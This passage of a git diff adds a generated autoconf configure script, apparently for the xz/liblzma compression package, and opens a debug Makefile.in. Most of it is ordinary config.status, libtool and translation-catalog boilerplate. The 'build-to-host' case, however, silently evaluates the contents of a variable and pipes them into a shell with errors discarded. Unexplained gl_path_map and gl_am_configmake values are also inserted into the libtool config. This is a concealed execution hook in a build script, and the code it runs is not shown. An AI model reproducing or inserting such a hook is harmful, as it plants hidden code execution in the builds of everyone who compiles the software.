-e 's/:.*$//'` + # Check whether this is an Automake generated Makefile which includes + # dependency-tracking related rules and includes. + # Grep'ing the whole file directly is not great: AIX grep has a line + # limit of 2048, but all sed's we know have understand at least 4000. + sed -n 's,^am--depfiles:.*,X,p' "$am_mf" | grep X >/dev/null 2>&1 \ + || continue + am_dirpart=`$as_dirname -- "$am_mf" || +$as_expr X"$am_mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$am_mf" : 'X\(//\)[^/]' \| \ + X"$am_mf" : 'X\(//\)$' \| \ + X"$am_mf" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X"$am_mf" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + am_filepart=`$as_basename -- "$am_mf" || +$as_expr X/"$am_mf" : '.*/\([^/][^/]*\)/*$' \| \ + X"$am_mf" : 'X\(//\)$' \| \ + X"$am_mf" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X/"$am_mf" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + { echo "$as_me:$LINENO: cd "$am_dirpart" \ + && sed -e '/# am--include-marker/d' "$am_filepart" \ + | $MAKE -f - am--depfiles" >&5 + (cd "$am_dirpart" \ + && sed -e '/# am--include-marker/d' "$am_filepart" \ + | $MAKE -f - am--depfiles) >&5 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } || am_rc=$? + done + if test $am_rc -ne 0; then + { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in '$ac_pwd':" >&2;} +as_fn_error $? "Something went wrong bootstrapping makefile fragments + for automatic dependency tracking. If GNU make was not used, consider + re-running the configure script with MAKE=\"gmake\" (or whatever is + necessary). You can also try re-running configure with the + '--disable-dependency-tracking' option to at least be able to build + the package (albeit without support for automatic dependency tracking). +See 'config.log' for more details" "$LINENO" 5; } + fi + { am_dirpart=; unset am_dirpart;} + { am_filepart=; unset am_filepart;} + { am_mf=; unset am_mf;} + { am_rc=; unset am_rc;} + rm -f conftest-deps.mk +} + ;; + "libtool":C) + + # See if we are running on zsh, and set the options that allow our + # commands through without removal of \ escapes. + if test -n "${ZSH_VERSION+set}"; then + setopt NO_GLOB_SUBST + fi + + cfgfile=${ofile}T + trap "$RM \"$cfgfile\"; exit 1" 1 2 15 + $RM "$cfgfile" + + cat <<_LT_EOF >> "$cfgfile" +#! $SHELL +# Generated automatically by $as_me ($PACKAGE) $VERSION +# NOTE: Changes made to this file will be lost: look at ltmain.sh. + +# Provide generalized library-building support services. +# Written by Gordon Matzigkeit, 1996 + +# Copyright (C) 2014 Free Software Foundation, Inc. +# This is free software; see the source for copying conditions. There is NO +# warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +# GNU Libtool is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of of the License, or +# (at your option) any later version. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program or library that is built +# using GNU Libtool, you may include this file under the same +# distribution terms that you use for the rest of that program. +# +# GNU Libtool is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + + +# The names of the tagged configurations supported by this script. +available_tags='RC ' + +# Configured defaults for sys_lib_dlsearch_path munging. +: \${LT_SYS_LIBRARY_PATH="$configure_time_lt_sys_library_path"} + +# ### BEGIN LIBTOOL CONFIG + +# Which release of libtool.m4 was used? +macro_version=$macro_version +macro_revision=$macro_revision + +# Assembler program. +AS=$lt_AS + +# DLL creation program. +DLLTOOL=$lt_DLLTOOL + +# Object dumper program. +OBJDUMP=$lt_OBJDUMP + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# What type of objects to build. +pic_mode=$pic_mode + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# Shared archive member basename,for filename based shared library versioning on AIX. +shared_archive_member_spec=$shared_archive_member_spec + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# An echo program that protects backslashes. +ECHO=$lt_ECHO + +# The PATH separator for the build system. +PATH_SEPARATOR=$lt_PATH_SEPARATOR + +# The host system. +host_alias=$host_alias +host=$host +host_os=$host_os + +# The build system. +build_alias=$build_alias +build=$build +build_os=$build_os + +# A sed program that does not truncate output. +SED=$lt_SED + +# Sed that helps us avoid accidentally triggering echo(1) options like -n. +Xsed="\$SED -e 1s/^X//" + +# A grep program that handles long lines. +GREP=$lt_GREP + +# An ERE matcher. +EGREP=$lt_EGREP + +# A literal string matcher. +FGREP=$lt_FGREP + +# A BSD- or MS-compatible name lister. +NM=$lt_NM + +# Whether we need soft or hard links. +LN_S=$lt_LN_S + +# What is the maximum length of a command? +max_cmd_len=$max_cmd_len + +# Object file suffix (normally "o"). +objext=$ac_objext + +# Executable file suffix (normally ""). +exeext=$exeext + +# whether the shell understands "unset". +lt_unset=$lt_unset + +# turn spaces into newlines. +SP2NL=$lt_lt_SP2NL + +# turn newlines into spaces. +NL2SP=$lt_lt_NL2SP + +# convert \$build file names to \$host format. +to_host_file_cmd=$lt_cv_to_host_file_cmd + +# convert \$build files to toolchain format. +to_tool_file_cmd=$lt_cv_to_tool_file_cmd + +# A file(cmd) program that detects file types. +FILECMD=$lt_FILECMD + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method = "file_magic". +file_magic_cmd=$lt_file_magic_cmd + +# How to find potential files when deplibs_check_method = "file_magic". +file_magic_glob=$lt_file_magic_glob + +# Find potential files using nocaseglob when deplibs_check_method = "file_magic". +want_nocaseglob=$lt_want_nocaseglob + +# Command to associate shared and link libraries. +sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd + +# The archiver. +AR=$lt_AR + +# Flags to create an archive (by configure). +lt_ar_flags=$lt_ar_flags + +# Flags to create an archive. +AR_FLAGS=\${ARFLAGS-"\$lt_ar_flags"} + +# How to feed a file listing to the archiver. +archiver_list_spec=$lt_archiver_list_spec + +# A symbol stripping program. +STRIP=$lt_STRIP + +# Commands used to install an old-style archive. +RANLIB=$lt_RANLIB +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Whether to use a lock for old archive extraction. +lock_old_archive_extraction=$lock_old_archive_extraction + +# A C compiler. +LTCC=$lt_CC + +# LTCC compiler flags. +LTCFLAGS=$lt_CFLAGS + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration. +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm into a list of symbols to manually relocate. +global_symbol_to_import=$lt_lt_cv_sys_global_symbol_to_import + +# Transform the output of nm in a C name address pair. +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# Transform the output of nm in a C name address pair when lib prefix is needed. +global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix + +# The name lister interface. +nm_interface=$lt_lt_cv_nm_interface + +# Specify filename containing input files for \$NM. +nm_file_list_spec=$lt_nm_file_list_spec + +# The root where to search for dependent libraries,and where our libraries should be installed. +lt_sysroot=$lt_sysroot + +# Command to truncate a binary pipe. +lt_truncate_bin=$lt_lt_cv_truncate_bin + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# Used to examine libraries when file_magic_cmd begins with "file". +MAGIC_CMD=$MAGIC_CMD + +# Must we lock files when doing compilation? +need_locks=$lt_need_locks + +# Manifest tool. +MANIFEST_TOOL=$lt_MANIFEST_TOOL + +# Tool to manipulate archived DWARF debug symbol files on Mac OS X. +DSYMUTIL=$lt_DSYMUTIL + +# Tool to change global to local symbols on Mac OS X. +NMEDIT=$lt_NMEDIT + +# Tool to manipulate fat objects and archives on Mac OS X. +LIPO=$lt_LIPO + +# ldd/readelf like tool for Mach-O binaries on Mac OS X. +OTOOL=$lt_OTOOL + +# ldd/readelf like tool for 64 bit Mach-O binaries on Mac OS X 10.4. +OTOOL64=$lt_OTOOL64 + +# Old archive suffix (normally "a"). +libext=$libext + +# Shared library suffix (normally ".so"). +shrext_cmds=$lt_shrext_cmds + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at link time. +variables_saved_for_relink=$lt_variables_saved_for_relink + +# Do we need the "lib" prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Library versioning type. +version_type=$version_type + +# Shared library runtime path variable. +runpath_var=$runpath_var + +# Shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Permission mode override for installation of shared libraries. +install_override_mode=$lt_install_override_mode + +# Command to use after installation of a shared archive. +postinstall_cmds=$lt_postinstall_cmds + +# Command to use after uninstallation of a shared archive. +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# As "finish_cmds", except a single script fragment to be evaled but +# not shown. +finish_eval=$lt_finish_eval + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Compile-time system search path for libraries. +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Detected run-time system search path for libraries. +sys_lib_dlsearch_path_spec=$lt_configure_time_dlsearch_path + +# Explicit LT_SYS_LIBRARY_PATH set during ./configure time. +configure_time_lt_sys_library_path=$lt_configure_time_lt_sys_library_path + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + + +# The linker used to build libraries. +LD=$lt_LD + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# Commands used to build an old-style archive. +old_archive_cmds=$lt_old_archive_cmds + +# A language specific compiler. +CC=$lt_compiler + +# Is the compiler the GNU compiler? +with_gcc=$GCC + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag + +# Additional compiler flags for building library objects. +pic_flag=$lt_lt_prog_compiler_pic + +# How to pass a linker flag through the compiler. +wl=$lt_lt_prog_compiler_wl + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_lt_prog_compiler_static + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_lt_cv_prog_compiler_c_o + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$archive_cmds_need_lc + +# Whether or not to disallow shared libs when runtime libs are static. +allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_export_dynamic_flag_spec + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_whole_archive_flag_spec + +# Whether the compiler copes with passing no objects directly. +compiler_needs_object=$lt_compiler_needs_object + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_old_archive_from_new_cmds + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds + +# Commands used to build a shared archive. +archive_cmds=$lt_archive_cmds +archive_expsym_cmds=$lt_archive_expsym_cmds + +# Commands used to build a loadable module if different from building +# a shared archive. +module_cmds=$lt_module_cmds +module_expsym_cmds=$lt_module_expsym_cmds + +# Whether we are building with GNU ld or not. +with_gnu_ld=$lt_with_gnu_ld + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_allow_undefined_flag + +# Flag that enforces no undefined symbols. +no_undefined_flag=$lt_no_undefined_flag + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist +hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec + +# Whether we need a single "-rpath" flag with a separated argument. +hardcode_libdir_separator=$lt_hardcode_libdir_separator + +# Set to "yes" if using DIR/libNAME\$shared_ext during linking hardcodes +# DIR into the resulting binary. +hardcode_direct=$hardcode_direct + +# Set to "yes" if using DIR/libNAME\$shared_ext during linking hardcodes +# DIR into the resulting binary and the resulting library dependency is +# "absolute",i.e impossible to change by setting \$shlibpath_var if the +# library is relocated. +hardcode_direct_absolute=$hardcode_direct_absolute + +# Set to "yes" if using the -LDIR flag during linking hardcodes DIR +# into the resulting binary. +hardcode_minus_L=$hardcode_minus_L + +# Set to "yes" if using SHLIBPATH_VAR=DIR during linking hardcodes DIR +# into the resulting binary. +hardcode_shlibpath_var=$hardcode_shlibpath_var + +# Set to "yes" if building a shared library automatically hardcodes DIR +# into the library and all subsequent libraries and executables linked +# against it. +hardcode_automatic=$hardcode_automatic + +# Set to yes if linker adds runtime paths of dependent libraries +# to runtime path list. +inherit_rpath=$inherit_rpath + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$link_all_deplibs + +# Set to "yes" if exported symbols are required. +always_export_symbols=$always_export_symbols + +# The commands to list exported symbols. +export_symbols_cmds=$lt_export_symbols_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_exclude_expsyms + +# Symbols that must always be exported. +include_expsyms=$lt_include_expsyms + +# Commands necessary for linking programs (against libraries) with templates. +prelink_cmds=$lt_prelink_cmds + +# Commands necessary for finishing linking programs. +postlink_cmds=$lt_postlink_cmds + +# Specify filename containing input files. +file_list_spec=$lt_file_list_spec + +# How to hardcode a shared library path into an executable. +hardcode_action=$hardcode_action +gl_path_map=$lt_gl_path_map +gl_am_configmake=$lt_gl_am_configmake + +# ### END LIBTOOL CONFIG + +_LT_EOF + + cat <<'_LT_EOF' >> "$cfgfile" + +# ### BEGIN FUNCTIONS SHARED WITH CONFIGURE + +# func_munge_path_list VARIABLE PATH +# ----------------------------------- +# VARIABLE is name of variable containing _space_ separated list of +# directories to be munged by the contents of PATH, which is string +# having a format: +# "DIR[:DIR]:" +# string "DIR[ DIR]" will be prepended to VARIABLE +# ":DIR[:DIR]" +# string "DIR[ DIR]" will be appended to VARIABLE +# "DIRP[:DIRP]::[DIRA:]DIRA" +# string "DIRP[ DIRP]" will be prepended to VARIABLE and string +# "DIRA[ DIRA]" will be appended to VARIABLE +# "DIR[:DIR]" +# VARIABLE will be replaced by "DIR[ DIR]" +func_munge_path_list () +{ + case x$2 in + x) + ;; + *:) + eval $1=\"`$ECHO $2 | $SED 's/:/ /g'` \$$1\" + ;; + x:*) + eval $1=\"\$$1 `$ECHO $2 | $SED 's/:/ /g'`\" + ;; + *::*) + eval $1=\"\$$1\ `$ECHO $2 | $SED -e 's/.*:://' -e 's/:/ /g'`\" + eval $1=\"`$ECHO $2 | $SED -e 's/::.*//' -e 's/:/ /g'`\ \$$1\" + ;; + *) + eval $1=\"`$ECHO $2 | $SED 's/:/ /g'`\" + ;; + esac +} + + +# Calculate cc_basename. Skip known compiler wrappers and cross-prefix. +func_cc_basename () +{ + for cc_temp in $*""; do + case $cc_temp in + compile | *[\\/]compile | ccache | *[\\/]ccache ) ;; + distcc | *[\\/]distcc | purify | *[\\/]purify ) ;; + \-*) ;; + *) break;; + esac + done + func_cc_basename_result=`$ECHO "$cc_temp" | $SED "s%.*/%%; s%^$host_alias-%%"` +} + + +# ### END FUNCTIONS SHARED WITH CONFIGURE + +_LT_EOF + + case $host_os in + aix3*) + cat <<\_LT_EOF >> "$cfgfile" +# AIX sometimes has problems with the GCC collect2 program. For some +# reason, if we set the COLLECT_NAMES environment variable, the problems +# vanish in a puff of smoke. +if test set != "${COLLECT_NAMES+set}"; then + COLLECT_NAMES= + export COLLECT_NAMES +fi +_LT_EOF + ;; + esac + + + +ltmain=$ac_aux_dir/ltmain.sh + + + # We use sed instead of cat because bash on DJGPP gets confused if + # if finds mixed CR/LF and LF-only lines. Since sed operates in + # text mode, it properly converts lines to CR/LF. This bash problem + # is reportedly fixed, but why not run on old versions too? + $SED '$q' "$ltmain" >> "$cfgfile" \ + || (rm -f "$cfgfile"; exit 1) + + mv -f "$cfgfile" "$ofile" || + (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile") + chmod +x "$ofile" + + + cat <<_LT_EOF >> "$ofile" + +# ### BEGIN LIBTOOL TAG CONFIG: RC + +# The linker used to build libraries. +LD=$lt_LD_RC + +# How to create reloadable object files. +reload_flag=$lt_reload_flag_RC +reload_cmds=$lt_reload_cmds_RC + +# Commands used to build an old-style archive. +old_archive_cmds=$lt_old_archive_cmds_RC + +# A language specific compiler. +CC=$lt_compiler_RC + +# Is the compiler the GNU compiler? +with_gcc=$GCC_RC + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_RC + +# Additional compiler flags for building library objects. +pic_flag=$lt_lt_prog_compiler_pic_RC + +# How to pass a linker flag through the compiler. +wl=$lt_lt_prog_compiler_wl_RC + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_lt_prog_compiler_static_RC + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_lt_cv_prog_compiler_c_o_RC + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$archive_cmds_need_lc_RC + +# Whether or not to disallow shared libs when runtime libs are static. +allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_RC + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_RC + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_whole_archive_flag_spec_RC + +# Whether the compiler copes with passing no objects directly. +compiler_needs_object=$lt_compiler_needs_object_RC + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_RC + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_RC + +# Commands used to build a shared archive. +archive_cmds=$lt_archive_cmds_RC +archive_expsym_cmds=$lt_archive_expsym_cmds_RC + +# Commands used to build a loadable module if different from building +# a shared archive. +module_cmds=$lt_module_cmds_RC +module_expsym_cmds=$lt_module_expsym_cmds_RC + +# Whether we are building with GNU ld or not. +with_gnu_ld=$lt_with_gnu_ld_RC + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_allow_undefined_flag_RC + +# Flag that enforces no undefined symbols. +no_undefined_flag=$lt_no_undefined_flag_RC + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist +hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_RC + +# Whether we need a single "-rpath" flag with a separated argument. +hardcode_libdir_separator=$lt_hardcode_libdir_separator_RC + +# Set to "yes" if using DIR/libNAME\$shared_ext during linking hardcodes +# DIR into the resulting binary. +hardcode_direct=$hardcode_direct_RC + +# Set to "yes" if using DIR/libNAME\$shared_ext during linking hardcodes +# DIR into the resulting binary and the resulting library dependency is +# "absolute",i.e impossible to change by setting \$shlibpath_var if the +# library is relocated. +hardcode_direct_absolute=$hardcode_direct_absolute_RC + +# Set to "yes" if using the -LDIR flag during linking hardcodes DIR +# into the resulting binary. +hardcode_minus_L=$hardcode_minus_L_RC + +# Set to "yes" if using SHLIBPATH_VAR=DIR during linking hardcodes DIR +# into the resulting binary. +hardcode_shlibpath_var=$hardcode_shlibpath_var_RC + +# Set to "yes" if building a shared library automatically hardcodes DIR +# into the library and all subsequent libraries and executables linked +# against it. +hardcode_automatic=$hardcode_automatic_RC + +# Set to yes if linker adds runtime paths of dependent libraries +# to runtime path list. +inherit_rpath=$inherit_rpath_RC + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$link_all_deplibs_RC + +# Set to "yes" if exported symbols are required. +always_export_symbols=$always_export_symbols_RC + +# The commands to list exported symbols. +export_symbols_cmds=$lt_export_symbols_cmds_RC + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_exclude_expsyms_RC + +# Symbols that must always be exported. +include_expsyms=$lt_include_expsyms_RC + +# Commands necessary for linking programs (against libraries) with templates. +prelink_cmds=$lt_prelink_cmds_RC + +# Commands necessary for finishing linking programs. +postlink_cmds=$lt_postlink_cmds_RC + +# Specify filename containing input files. +file_list_spec=$lt_file_list_spec_RC + +# How to hardcode a shared library path into an executable. +hardcode_action=$hardcode_action_RC +gl_path_map=$lt_gl_path_map_RC +gl_am_configmake=$lt_gl_am_configmake_RC + +# ### END LIBTOOL TAG CONFIG: RC +_LT_EOF + + ;; + "po-directories":C) + for ac_file in $CONFIG_FILES; do + # Support "outfile[:infile[:infile...]]" + case "$ac_file" in + *:*) ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;; + esac + # PO directories have a Makefile.in generated from Makefile.in.in. + case "$ac_file" in */Makefile.in) + # Adjust a relative srcdir. + ac_dir=`echo "$ac_file"|sed 's%/[^/][^/]*$%%'` + ac_dir_suffix=/`echo "$ac_dir"|sed 's%^\./%%'` + ac_dots=`echo "$ac_dir_suffix"|sed 's%/[^/]*%../%g'` + # In autoconf-2.13 it is called $ac_given_srcdir. + # In autoconf-2.50 it is called $srcdir. + test -n "$ac_given_srcdir" || ac_given_srcdir="$srcdir" + case "$ac_given_srcdir" in + .) top_srcdir=`echo $ac_dots|sed 's%/$%%'` ;; + /*) top_srcdir="$ac_given_srcdir" ;; + *) top_srcdir="$ac_dots$ac_given_srcdir" ;; + esac + # Treat a directory as a PO directory if and only if it has a + # POTFILES.in file. This allows packages to have multiple PO + # directories under different names or in different locations. + if test -f "$ac_given_srcdir/$ac_dir/POTFILES.in"; then + rm -f "$ac_dir/POTFILES" + test -n "$as_me" && echo "$as_me: creating $ac_dir/POTFILES" || echo "creating $ac_dir/POTFILES" + gt_tab=`printf '\t'` + cat "$ac_given_srcdir/$ac_dir/POTFILES.in" | sed -e "/^#/d" -e "/^[ ${gt_tab}]*\$/d" -e "s,.*, $top_srcdir/& \\\\," | sed -e "\$s/\(.*\) \\\\/\1/" > "$ac_dir/POTFILES" + POMAKEFILEDEPS="POTFILES.in" + # ALL_LINGUAS, POFILES, UPDATEPOFILES, DUMMYPOFILES, GMOFILES depend + # on $ac_dir but don't depend on user-specified configuration + # parameters. + if test -f "$ac_given_srcdir/$ac_dir/LINGUAS"; then + # The LINGUAS file contains the set of available languages. + if test -n "$OBSOLETE_ALL_LINGUAS"; then + test -n "$as_me" && echo "$as_me: setting ALL_LINGUAS in configure.in is obsolete" || echo "setting ALL_LINGUAS in configure.in is obsolete" + fi + ALL_LINGUAS=`sed -e "/^#/d" -e "s/#.*//" "$ac_given_srcdir/$ac_dir/LINGUAS"` + POMAKEFILEDEPS="$POMAKEFILEDEPS LINGUAS" + else + # The set of available languages was given in configure.in. + ALL_LINGUAS=$OBSOLETE_ALL_LINGUAS + fi + # Compute POFILES + # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).po) + # Compute UPDATEPOFILES + # as $(foreach lang, $(ALL_LINGUAS), $(lang).po-update) + # Compute DUMMYPOFILES + # as $(foreach lang, $(ALL_LINGUAS), $(lang).nop) + # Compute GMOFILES + # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).gmo) + case "$ac_given_srcdir" in + .) srcdirpre= ;; + *) srcdirpre='$(srcdir)/' ;; + esac + POFILES= + UPDATEPOFILES= + DUMMYPOFILES= + GMOFILES= + for lang in $ALL_LINGUAS; do + POFILES="$POFILES $srcdirpre$lang.po" + UPDATEPOFILES="$UPDATEPOFILES $lang.po-update" + DUMMYPOFILES="$DUMMYPOFILES $lang.nop" + GMOFILES="$GMOFILES $srcdirpre$lang.gmo" + done + # CATALOGS depends on both $ac_dir and the user's LINGUAS + # environment variable. + INST_LINGUAS= + if test -n "$ALL_LINGUAS"; then + for presentlang in $ALL_LINGUAS; do + useit=no + if test "%UNSET%" != "$LINGUAS"; then + desiredlanguages="$LINGUAS" + else + desiredlanguages="$ALL_LINGUAS" + fi + for desiredlang in $desiredlanguages; do + # Use the presentlang catalog if desiredlang is + # a. equal to presentlang, or + # b. a variant of presentlang (because in this case, + # presentlang can be used as a fallback for messages + # which are not translated in the desiredlang catalog). + case "$desiredlang" in + "$presentlang" | "$presentlang"_* | "$presentlang".* | "$presentlang"@*) + useit=yes + ;; + esac + done + if test $useit = yes; then + INST_LINGUAS="$INST_LINGUAS $presentlang" + fi + done + fi + CATALOGS= + if test -n "$INST_LINGUAS"; then + for lang in $INST_LINGUAS; do + CATALOGS="$CATALOGS $lang.gmo" + done + fi + test -n "$as_me" && echo "$as_me: creating $ac_dir/Makefile" || echo "creating $ac_dir/Makefile" + sed -e "/^POTFILES =/r $ac_dir/POTFILES" -e "/^# Makevars/r $ac_given_srcdir/$ac_dir/Makevars" -e "s|@POFILES@|$POFILES|g" -e "s|@UPDATEPOFILES@|$UPDATEPOFILES|g" -e "s|@DUMMYPOFILES@|$DUMMYPOFILES|g" -e "s|@GMOFILES@|$GMOFILES|g" -e "s|@CATALOGS@|$CATALOGS|g" -e "s|@POMAKEFILEDEPS@|$POMAKEFILEDEPS|g" "$ac_dir/Makefile.in" > "$ac_dir/Makefile" + for f in "$ac_given_srcdir/$ac_dir"/Rules-*; do + if test -f "$f"; then + case "$f" in + *.orig | *.bak | *~) ;; + *) cat "$f" >> "$ac_dir/Makefile" ;; + esac + fi + done + fi + ;; + esac + done ;; + "build-to-host":C) eval $gl_config_gt | $SHELL 2>/dev/null ;; + "src/scripts/xzdiff":F) chmod +x src/scripts/xzdiff ;; + "src/scripts/xzgrep":F) chmod +x src/scripts/xzgrep ;; + "src/scripts/xzmore":F) chmod +x src/scripts/xzmore ;; + "src/scripts/xzless":F) chmod +x src/scripts/xzless ;; + + esac +done # for ac_tag + + +as_fn_exit 0 +_ACEOF +ac_clean_files=$ac_clean_files_save + +test $ac_write_fail = 0 || + as_fn_error $? "write failure creating $CONFIG_STATUS" "$LINENO" 5 + + +# configure is writing to config.log, and then calls config.status. +# config.status does its own redirection, appending to config.log. +# Unfortunately, on DOS this fails, as config.log is still kept open +# by configure, so config.status won't be able to write to it; its +# output is simply discarded. So we exec the FD to /dev/null, +# effectively closing config.log, so it can be properly (re)opened and +# appended to by config.status. When coming back to configure, we +# need to make the FD available again. +if test "$no_create" != yes; then + ac_cs_success=: + ac_config_status_args= + test "$silent" = yes && + ac_config_status_args="$ac_config_status_args --quiet" + exec 5>/dev/null + $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false + exec 5>>config.log + # Use ||, not &&, to avoid exiting from the if with $? = 1, which + # would make configure fail if this is the last instruction. + $ac_cs_success || as_fn_exit 1 +fi +if test -n "$ac_unrecognized_opts" && test "$enable_option_checking" != no; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: unrecognized options: $ac_unrecognized_opts" >&5 +printf "%s\n" "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2;} +fi + + +# Some warnings +if test x$tuklib_cv_physmem_method = xunknown; then + echo + echo "WARNING:" + echo "No supported method to detect the amount of RAM." + echo "Consider using --enable-assume-ram (if you didn't already)" + echo "or make a patch to add support for this operating system." +fi + +if test x$tuklib_cv_cpucores_method = xunknown; then + echo + echo "WARNING:" + echo "No supported method to detect the number of CPU cores." +fi + +if test "x$enable_threads$enable_small$have_func_attribute_constructor" \ + = xnoyesno; then + echo + echo "NOTE:" + echo "liblzma will be thread-unsafe due to the combination" + echo "of --disable-threads --enable-small when using a compiler" + echo "that doesn't support __attribute__((__constructor__))." +fi + diff --git a/debug/Makefile.in b/debug/Makefile.in new file mode 100644 index 00000000..09536905 --- /dev/null +++ b/debug/Makefile.in @@ -0,0 +1,736 @@ +# Makefile.in generated by automake 1.16.5 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994-2021 Free Software Foundation, Inc. + +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ + +VPATH = @srcdir@ +am__is_gnu_make = { \ + if test -z '$(MAKELEVEL)'; then \ + false; \ + elif test -n '$(MAKE_HOST)'; then \ + true; \ + elif test -n '$(MAKE_VERSION)' && test -n '$(CURDIR)'; then \ + true; \ + else \ + false; \ + fi; \ +} +am__make_running_with_option = \ + case $${target_option-} in \ + ?) ;; \ + *) echo "am__make_running_with_option: internal error: invalid" \ + "target option '$${target_option-}' specified" >&2; \ + exit 1;; \ + esac; \ + has_opt=no; \ + sane_makeflags=$$MAKEFLAGS; \ + if 